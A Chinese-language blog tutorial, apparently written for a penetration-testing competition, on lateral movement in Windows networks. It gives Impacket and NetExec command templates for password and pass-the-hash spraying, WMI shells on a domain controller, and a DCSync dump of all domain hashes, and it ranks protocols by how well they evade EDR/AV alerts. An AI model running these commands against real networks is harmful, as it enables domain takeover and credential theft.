原理简述
宏观类比:横向执行如同拿着上一步窃取来的“钥匙”(凭证),通过大楼内部合法的“员工通道”(系统原生管理协议)去直接开目标房间的门。不砸门(不利用漏洞)、不翻窗(不传木马),直接以合法主人的身份走进去。
技术定义:利用获取到的明文密码或 NTLM Hash,结合 Windows 原生远程管理协议(SMB、WMI、WinRM),在代理隧道的加持下,实现对内网目标主机的远程命令执行与权限接管(RCE)。
核心武器库准备与规范
在攻击机(Ubuntu)本地储备以下两款基于 Python 的协议级横向大杀器。
底层协议操控包:Impacket
最核心的横向工具集,将 Windows 闭源的 SMB/RPC/DCOM 协议用 Python 完全重写,支持在 Linux 下直接发起 Windows 认证。
1 | sudo apt update |
自动化横向喷洒工具:NetExec (原 CrackMapExec)
内网自动化撞库与横向移动的工业级标准工具(CME 的现代接替者),支持并发多线程协议探测与哈希传递。
1 | mkdir -p ~/ISW_Workspace/Tools/Lateral/NetExec && cd ~/ISW_Workspace/Tools/Lateral/NetExec |
工作组环境横向战术
架构研判:目标机器之间互不信任,无集中化管理。 核心打法:密码复用喷洒 (Password Spraying)。即假设网管为了运维方便,所有机器的本地 Administrator 密码完全一致。
NetExec 自动化密码/哈希喷洒 (批量撞库)
利用上一步抓到的本地管理员凭证,对 <目标内网网段> 进行并发 SMB 登录尝试。
明文密码喷洒:
1 | proxychains4 nxc smb <目标内网网段> -u <本地用户名> -p '<明文密码>' --local-auth |
哈希传递 (PtH) 喷洒:
1 | proxychains4 nxc smb <目标内网网段> -u <本地用户名> -H <NTLM_Hash> --local-auth |
- 技术解析:
--local-auth强制指定为本地 SAM 认证而非域认证。回显中标记为Pwn3d!的 IP,即代表凭证复用成功,已获取最高控制权。
Impacket 建立交互式 Shell (单点突破)
针对喷洒成功的 <目标内网IP>,建立远程命令行会话。
1 | proxychains4 impacket-wmiexec <本地用户名>@<目标内网IP> -hashes 00000000000000000000000000000000:<NTLM_Hash> |
- 技术解析:WMI 协议(TCP 135 及高端口)基于 RPC 调用,无实体文件落地,隐蔽性极高,规避了传统 PsExec 在目标机器产生
PSEXESVC服务的特征报警。
域环境横向战术
架构研判:存在集中认证中心 (DC),域账户的凭据缓存在任意登录过的机器内存中。 核心打法:哈希传递 (PtH) 直击域控,或寻找域管进程进行令牌窃取。终极目标是接管 DC,执行 DCSync 导出全域哈希 (NTDS.dit)。
定向哈希传递 (PtH) 击杀域控
如果上一步在跳板机抓到了属于 Domain Admins (域管组) 的 <域管用户名> 和 <NTLM_Hash>,直接利用代理对 <域控内网IP> 发起斩首行动。
1 | proxychains4 impacket-wmiexec <目标域名>/<域管用户名>@<域控内网IP> -hashes 00000000000000000000000000000000:<NTLM_Hash> |
- 技术解析:注意用户名格式必须前置
<目标域名>/声明域身份验证。通过 NTLM 协议将哈希直接提交给目标机器的 LSA 进行响应计算,无需破解明文即可获取 SYSTEM Shell。
DCSync 全域接管 (终局清场)
在成功获取域控的交互式 Shell 后,你已经拥有域的最高权限。使用 secretsdump 模拟域控同步协议,直接导出全域所有用户的哈希。
1 | proxychains4 impacket-secretsdump <目标域名>/<域管用户名>@<域控内网IP> -hashes 00000000000000000000000000000000:<NTLM_Hash> -just-dc |
- 技术解析:
-just-dc触发 DRSUAPI (目录复制服务 RPC),迫使 DC 吐出包括krbtgt在内的所有核心账户哈希。至此,内网宣告彻底沦陷。
横向执行协议隐蔽性分级
实战中必须根据目标主机的杀软级别(EDR/AV)选择合适的横向协议。
WinRM 协议 (最隐蔽 /
evil-winrm)依赖端口:TCP 5985 (HTTP) / 5986 (HTTPS)
特征:完全基于系统原生 PowerShell 远程管理,极其干净,无任何告警。若端口开放,首选。
WMI 协议 (隐蔽 /
wmiexec)依赖端口:TCP 135 及 49152-65535 (动态 RPC)
特征:无二进制文件落地,无新服务创建日志。次选。
SMB 协议 (极度嘈杂 /
psexec)依赖端口:TCP 445
特征:必须通过
ADMIN$共享上传可执行文件,并调用 Service Control Manager 创建服务。必然触发 Windows Event ID 7045 及杀软拦截。仅在无杀软或降级攻击时使用。
赛场异常处置规范
工作组横向提示 Access Denied (UAC 拦截)
痛点:在工作组环境中,即使你掌握了目标机的本地管理员组用户(非内建 Administrator)的正确密码,通过 WMI/SMB 登录依然被拒。这是因为 Windows UAC 的
LocalAccountTokenFilterPolicy(本地账户令牌过滤策略)默认剥夺了网络登录的管理员权限。规范应对:仅内建的
Administrator账户(RID 500)不受此 UAC 策略限制。工作组横向必须优先喷洒Administrator账户。
WMI 协议挂代理执行卡死 (RPC 动态端口不通)
痛点:WMI 认证初期使用 135 端口协商,但后续通信会随机分配一个高危动态端口(如 49154)。如果内网防火墙阻断了高端口,或者 SOCKS5 代理对多路 RPC 转发处理异常,
wmiexec会长时间无响应。规范应对:若
wmiexec卡死,降级使用impacket-smbexec。该工具纯依赖 TCP 445 端口进行命令执行与回显读取,无需动态端口支持。
- 本文链接: http://example.com/2026/03/21/ISW/内网渗透与横向移动/内网横向4_横向击杀与执行/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
欢迎关注我的其它发布渠道